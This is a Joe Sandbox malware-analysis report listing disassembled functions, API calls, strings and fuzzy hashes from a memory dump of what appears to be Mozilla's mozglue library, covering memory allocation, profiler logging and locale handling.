Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 54173dc28736ad06bbc8728b0545bd945018299a99984abf491fed4c54636613
Instruction ID: 824f78254bf0265331dbd1c97351cd6d4768a2d67c5679aa7a92048cee96e99c
Opcode Fuzzy Hash: 54173dc28736ad06bbc8728b0545bd945018299a99984abf491fed4c54636613
Instruction Fuzzy Hash: 3A719F70909B41CBD716CF18C88055BF3F4FF99319B84965DE89A9BB02EB30E885CB85

Function 6C61DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C61DDCF

Part of subcall function 6C5FFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FFA4B

Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C6190FF
Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C619108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DE0D
free.MOZGLUE(00000000), ref: 6C61DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C60DEFD,?,6C5D4A68), ref: 6C61DF32

Part of subcall function 6C61DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C61DB86
Part of subcall function 6C61DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C61DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C60DEFD,?,6C5D4A68), ref: 6C61DF65
free.MOZGLUE(?), ref: 6C61DF80

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 06c5c04f611a689982775abc814ecb0606b6b1e868b446f39089d4cf291d061c
Instruction ID: bc38a7d3e1809a26fff767bcbe16b83954c646db65151f55e3afd238fbb070f2
Opcode Fuzzy Hash: 06c5c04f611a689982775abc814ecb0606b6b1e868b446f39089d4cf291d061c
Instruction Fuzzy Hash: F851A6726096019FD7229B2DC8806AE73B2AFD570FF95411CD51A53F00DB32F91ACB9A

Function 6C625D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625DC9
std::_Facet_Register.LIBCPMT ref: 6C625DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625E45

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: c227074aaef5cc6fd2c3f825f54a7a82fa4c2f7ecc09ed85a9daf77c78d3a273
Instruction ID: d59a9d4d62074e99474b7d419c1af0355542fe23a4c051e246e7f75653769d24
Opcode Fuzzy Hash: c227074aaef5cc6fd2c3f825f54a7a82fa4c2f7ecc09ed85a9daf77c78d3a273
Instruction Fuzzy Hash: 974160307002059FCB14EF69C8D8AAE77F5EF89318F548468E50A97791EB34D805CF59

Function 6C5FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5C31A7), ref: 6C5FCDDD

Strings

<jemalloc>, xrefs: 6C5FCF9F, 6C5FCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C5FCFA4, 6C5FCFB8

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: dd0bbb45aa1ebda2987c854878957b757dfe4b5ca1c69d2e0503aff968d0821a
Instruction ID: 3b0c28d126878923b15209955da3c414341ad03013cf409e5857301fddd3ebf1
Opcode Fuzzy Hash: dd0bbb45aa1ebda2987c854878957b757dfe4b5ca1c69d2e0503aff968d0821a
Instruction Fuzzy Hash: D631A6317402055BFB29EE65CC45BAE7775AB81758F20C424F625ABA80DB70E502CF99

Function 6C5CECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5CF100: LoadLibraryW.KERNEL32(shell32,?,6C63D020), ref: 6C5CF122
Part of subcall function 6C5CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5CF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5CED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5CEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5CEDCC
CreateFileW.KERNEL32 ref: 6C5CEE08
free.MOZGLUE(00000000), ref: 6C5CEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5CEE32

Part of subcall function 6C5CEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5CEBB5
Part of subcall function 6C5CEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5FD7F3), ref: 6C5CEBC3
Part of subcall function 6C5CEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5FD7F3), ref: 6C5CEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5CEDC1

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 121872ca4725f2ea9bc232081735533d3fb3256b6702e3aafb5eb2ae1737522c
Instruction ID: dbc3a35c1e21f317ce6ecd19c3acf40dce091f4986e472a2e143677ebdddc0b6
Opcode Fuzzy Hash: 121872ca4725f2ea9bc232081735533d3fb3256b6702e3aafb5eb2ae1737522c
Instruction Fuzzy Hash: 1851C271E05214DBDB00DFA8CC826EEB7B0AF99358F44992DE8556B740E7706948CBA3

Function 6C63A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C63A565

Part of subcall function 6C63A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63A4BE
Part of subcall function 6C63A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C63A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C63A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C63A6B6

Strings

z, xrefs: 6C63A6AE
0, xrefs: 6C63A5FB

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 57d8df469e0a6e630600a80f93fb3f641379bdac14aff55a8dc96896c8d51d0a
Instruction ID: fa9217e1d5df81b894691063e93726f08b92baf5fd3bc0783da1d6cac6235350
Opcode Fuzzy Hash: 57d8df469e0a6e630600a80f93fb3f641379bdac14aff55a8dc96896c8d51d0a
Instruction Fuzzy Hash: 5A414871A087459FC741DF68C480A8FBBE4BFCA354F40AA2EF49987651E730D549CB86

Function 6C609420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
__Init_thread_footer.LIBCMT ref: 6C60949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C609459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C60946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C60947D

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 92adfeb78de334deabcc62053a2bdf03d89760a9cbca5d4ab9cf78916e9eb350
Instruction ID: 1df93ff6169b16b6cbe1c7ac1e5e99916ca9d4d2fda65a9da0547b5c4e95d727
Opcode Fuzzy Hash: 92adfeb78de334deabcc62053a2bdf03d89760a9cbca5d4ab9cf78916e9eb350
Instruction Fuzzy Hash: E8012830B0010187D714AB5EDA40ACA33B6DF0536DF05C536E906D6B42EA22D8658D5F

Function 6C5CB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB6AC

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5CB61E), ref: 6C5CB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB79A

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: e4b4aff44a01c519b9e6430973b3108d7c4abd9f0a2084df8af1838e9a5b82ed
Instruction ID: 4edf0fa52a92d84cb9c008f34ea12eee612482a360916a5540f5b5b6423ff645
Opcode Fuzzy Hash: e4b4aff44a01c519b9e6430973b3108d7c4abd9f0a2084df8af1838e9a5b82ed
Instruction Fuzzy Hash: 5541B6B2E001159FCB04EFA8DC806AEB7F5FB85324F250669E825E7780E731AD1487D6

Function 6C63B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C63B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C63B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C63B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C63B5F4
__Init_thread_footer.LIBCMT ref: 6C63B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C63B61F
std::_Facet_Register.LIBCPMT ref: 6C63B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63B655

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 618b3f60c41178d0e50cf357984c608d3d38a058c7339ac125fa64fc0fd82250
Instruction ID: 1479cd522143159eadecc77e8c81b0739fd9ea4a0775f0665f34cbca85d0dcc9
Opcode Fuzzy Hash: 618b3f60c41178d0e50cf357984c608d3d38a058c7339ac125fa64fc0fd82250
Instruction Fuzzy Hash: 5C318471B00514CBCB04EF6AC8949AEB7F5EBC6329F148565D91697740DB30A806CF9A

Function 6C606590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FFA80: GetCurrentThreadId.KERNEL32 ref: 6C5FFA8D
Part of subcall function 6C5FFA80: AcquireSRWLockExclusive.KERNEL32(6C64F448), ref: 6C5FFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C606727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6067C8

Part of subcall function 6C614290: memcpy.VCRUNTIME140(?,?,6C622003,6C620AD9,?,6C620AD9,00000000,?,6C620AD9,?,00000004,?,6C621A62,?,6C622003,?), ref: 6C6142C4

Strings

data, xrefs: 6C606593
vdl, xrefs: 6C60696C

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vdl
API String ID: 511789754-386935523
Opcode ID: 9657c0aae4ea4bab5da6ce231ef095c7bc34d3e7e0b3299bce983c80f214cd52
Instruction ID: cc8f291558a76bfb942bf7833422889ecfb901b461604aaa7b13aaeec9e503ec
Opcode Fuzzy Hash: 9657c0aae4ea4bab5da6ce231ef095c7bc34d3e7e0b3299bce983c80f214cd52
Instruction Fuzzy Hash: 7CD1BE75A083408FD724DF29C851B9BB7F1AFC5308F10892DE48997B51EB30E849CB5A

Function 6C5FD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5CEB57,?,?,?,?,?,?,?,?,?), ref: 6C5FD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5CEB57,?), ref: 6C5FD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5CEB57,?), ref: 6C5FD673
free.MOZGLUE(?), ref: 6C5FD888

Strings

|Enabled, xrefs: 6C5FD81E
W\l, xrefs: 6C5FD5D9, 6C5FD63F

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W\l$|Enabled
API String ID: 4142949111-1860622590
Opcode ID: 5e7139faa8ed94366c1ad6c6087c676445bf48dc9659d2f963a09a1a21b25b95
Instruction ID: cd282508b4fbb44e8c79b7e829fb55910c83f5f3d316a6671a10ca1758c25ac4
Opcode Fuzzy Hash: 5e7139faa8ed94366c1ad6c6087c676445bf48dc9659d2f963a09a1a21b25b95
Instruction Fuzzy Hash: 6EA1F370A01308CFDB15DF69C8907AEBBF1AF4A318F14845CD8A9AB741D735A846CFA1

Function 6C611D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C611D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C611BE3,?,?,6C611D96,00000000), ref: 6C611D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C611BE3,?,?,6C611D96,00000000), ref: 6C611D4C
GetCurrentThreadId.KERNEL32 ref: 6C611DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C611DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C611DDA

Part of subcall function 6C611EF0: GetCurrentThreadId.KERNEL32 ref: 6C611F03
Part of subcall function 6C611EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C611DF2,00000000,00000000), ref: 6C611F0C
Part of subcall function 6C611EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C611F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C611DF4

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 2f6ae25598b91b889b5ea630525f77278e85f147f7f20f35b57fc5501f597155
Instruction ID: a030ac78bec3b4807dd6536e98538d4175c4751960b50d0c5b102e5a873f91e1
Opcode Fuzzy Hash: 2f6ae25598b91b889b5ea630525f77278e85f147f7f20f35b57fc5501f597155
Instruction Fuzzy Hash: FB418BB56047049FCB10DF29C888A5ABBF9FF89318F10846DE95A87B41CB71F814CB99

Function 6C6084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6085AC

Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60767F
Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C607693
Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6085B2

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 971c5d308855dfda1ad7c7dfbbf38e67c9430c7d09c86c9db0d4b9c61c6797c9
Instruction ID: 60617095c7f1371ff721013b98745b418f7a3bde70f5c1420839065037e7667c
Opcode Fuzzy Hash: 971c5d308855dfda1ad7c7dfbbf38e67c9430c7d09c86c9db0d4b9c61c6797c9
